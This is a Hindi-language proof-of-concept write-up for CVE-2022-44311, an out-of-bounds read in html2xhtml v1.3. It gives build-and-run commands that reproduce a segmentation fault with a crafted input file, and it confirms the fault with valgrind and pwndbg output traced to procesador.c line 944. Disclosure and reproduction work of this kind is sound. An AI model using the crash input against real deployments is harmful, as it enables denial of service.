
CVE-2022-44311 के लिए प्रूफ ऑफ कॉन्सेप्ट
html2xhtml v1.3 में प्रोसेसर.c में फ़ंक्शन static void elm_close(tree_node_t *nodo) में एक आउट-ऑफ़-बाउंड्स रीड पाया गया। यह कमजोरी हमलावरों को एक क्राफ्टेड html फ़ाइल के माध्यम से संवेदनशील फ़ाइलों तक पहुँचने या सेवा से इनकार (DoS) उत्पन्न करने की अनुमति देती है।
कमजोरी को पुन: उत्पन्न करने के लिए, html2xhtml का एक कमजोर संस्करण (v1.3) डाउनलोड करें और प्रोजेक्ट को संकलित करें:
wget http://www.it.uc3m.es/jaf/html2xhtml/downloads/html2xhtml-1.3.tar.gz
tar -xzvf html2xhtml-1.3.tar.gz
cd html2xhtml-1.3
./configure
make
cd src
एक बार प्रोजेक्ट संकलित हो जाने के बाद, हम html2xhtml को इस रिपॉजिटरी में शामिल अपनी प्रूफ ऑफ कॉन्सेप्ट फ़ाइल (CVE-2022-44311_crash) की ओर इंगित कर सकते हैं:
./html2xhtml -t frameset ./CVE-2022-44311_crash
पिछला कमांड एक क्रैश उत्पन्न करेगा और एक त्रुटि संदेश लौटाएगा:
zsh: segmentation fault ./src/html2xhtml -t frameset ./CVE-2022-44311_crash
वैलग्राइंड को प्रोग्राम से जोड़ने से हमें यह समझने में मदद मिल सकती है कि क्रैश का कारण क्या है:
└─$ valgrind ./src/html2xhtml -t frameset ./CVE-2022-44311_crash
==267753== Memcheck, a memory error detector
==267753== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.
==267753== Using Valgrind-3.19.0 and LibVEX; rerun with -h for copyright info
==267753== Command: ./src/html2xhtml -t frameset ./CVE-2022-44311_crash
==267753==
==267753== Invalid read of size 4
==267753== at 0x11B18A: elm_close (procesador.c:944)
==267753== by 0x11B18A: err_html_struct (procesador.c:1889)
==267753== by 0x11BBB5: err_content_invalid (procesador.c:1291)
==267753== by 0x11BBB5: elm_close.part.0 (procesador.c:959)
==267753== by 0x11C4C0: elm_close (procesador.c:944)
==267753== by 0x11C4C0: saxEndDocument (procesador.c:233)
==267753== by 0x1144AE: main (html2xhtml.c:117)
==267753== Address 0x3ec404 is not stack'd, malloc'd or (recently) free'd
==267753==
वैलग्राइंड हमें बताता है कि procesador.c, पंक्ति 944 में आकार 4 का एक आउट-ऑफ़-बाउंड्स रीड हो रहा है। gdb को हमारे प्रोग्राम से जोड़कर और दुर्भावनापूर्ण फ़ाइल को निष्पादित करके वैलग्राइंड आउटपुट की पुष्टि की जा सकती है:
$ gdb src/html2xhtml
pwndbg> r -t frameset ./CVE-2022-44311_crash
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0xb11ae
RBX 0x5555555dd344 ◂— 0x3
RCX 0x5a
RDX 0x2
RDI 0x555555573d40 (elm_list) ◂— 0x6c6d7468 /* 'html' */
RSI 0x555555573160 (elm_buffer) ◂— 0xd9810100028b8101
R8 0x1
R9 0x5555555ee520 ◂— 0x5555555ee
R10 0x0
R11 0x7ffff7df2800 (iconv_close) ◂— cmp rdi, -1
R12 0x5555555dd2d6 ◂— 0x0
R13 0x7ffffffedc70 ◂— 0x600000001
R14 0x5555555dd2d6 ◂— 0x0
R15 0x4
RBP 0x555555573d40 (elm_list) ◂— 0x6c6d7468 /* 'html' */
RSP 0x7ffffffedc30 ◂— 0x1
RIP 0x55555556718a (err_html_struct+474) ◂— cmp dword ptr [rbp + rax*4 + 0xc], 4
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────
► 0x55555556718a <err_html_struct+474> cmp dword ptr [rbp + rax*4 + 0xc], 4
0x55555556718f <err_html_struct+479> jne err_html_struct+489 <err_html_struct+489>
↓
0x555555567199 <err_html_struct+489> mov rbx, qword ptr [rbx + 8]
0x55555556719d <err_html_struct+493> test rbx, rbx
0x5555555671a0 <err_html_struct+496> jne err_html_struct+448 <err_html_struct+448>
↓
0x555555567170 <err_html_struct+448> cmp r12, rbx
0x555555567173 <err_html_struct+451> je err_html_struct+498 <err_html_struct+498>
↓
0x5555555671a2 <err_html_struct+498> xor edi, edi
0x5555555671a4 <err_html_struct+500> mov qword ptr [rip + 0x4d6d5], r12 <actual_element>
0x5555555671ab <err_html_struct+507> call new_tree_node <new_tree_node>
0x5555555671b0 <err_html_struct+512> mov dword ptr [rax + 0x18], 0x59
──────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────
In file: /dev/shm/html2xhtml-1.3/src/procesador.c
939 static void elm_close(tree_node_t *nodo)
940 {
941 DEBUG("elm_close()");
942 EPRINTF1("cerrando elemento %s\n",ELM_PTR(nodo).name);
943
► 944 if (ELM_PTR(nodo).contenttype[doctype]==CONTTYPE_CHILDREN) {
945 /* si es de tipo child se comprueba su contenido */
946 int content[16384];
947 int i, num;
948 tree_node_t *elm;
949
GDB ने पुष्टि की कि प्रोग्राम निम्नलिखित स्रोत कोड पंक्तियों को निष्पादित करते समय एक अमान्य मेमोरी पते से पढ़ने का प्रयास कर रहा है:
► 944 if (ELM_PTR(nodo).contenttype[doctype]==CONTTYPE_CHILDREN) {
945 /* si es de tipo child se comprueba su contenido */
946 int content[16384];
947 int i, num;
948 tree_node_t *elm;